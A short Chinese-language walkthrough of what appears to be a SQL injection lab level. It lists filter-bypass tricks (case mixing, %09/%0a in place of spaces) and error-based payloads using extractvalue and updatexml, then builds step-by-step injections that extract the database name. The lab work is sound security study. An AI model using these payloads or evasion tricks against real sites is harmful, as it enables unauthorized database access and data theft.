知识点:
- union select 关键字过滤
- 通过<> /**/进行截断处理
- un<>ion sel<>ect 没效果
- uni/**/on sel/**/ect 被过滤了
- 双写绕过
- 这关对select进行了多重过滤,无法进行双写绕过
- 大小写绕过
- UNion SElect (这关可以用,不演示了)
- 通过<> /**/进行截断处理
- 空格过滤
- %09 %0a %0b %0c %0d 进行绕过
- 这关+和%20被过滤了,但是可以用上面的几种形式代替
- 错误注入
- extractvalue(1,concat(0x7e,database(),0x7e))
- updatexml(1,concat(0x7e,database(),0x7e),1)
- 最多展示32位,超过部分需要用截取函数处理
测试注入类型
构造payload:id=1'
构造payload:id=1''
测试发现是字符型注入
经过不断的测试发现空格和+被过滤了,发现%09可以代替空格绕过检测
构造payload:id=1'%09and%091='1
页面成功回显出了相关信息,说明绕过成功
页面给出了提示,联合查询关键字被过滤了,直接使用错误注入
构造payload:id=1'%09and%09exp(710)='1
页面成功回显除了exp()函数的错误信息
尝试获取数据库名
构造payload:id=1'%09and%09extractvalue(1,concat(0x7e,database(),0x7e))='1
成功获取到了数据库名;结束收工
10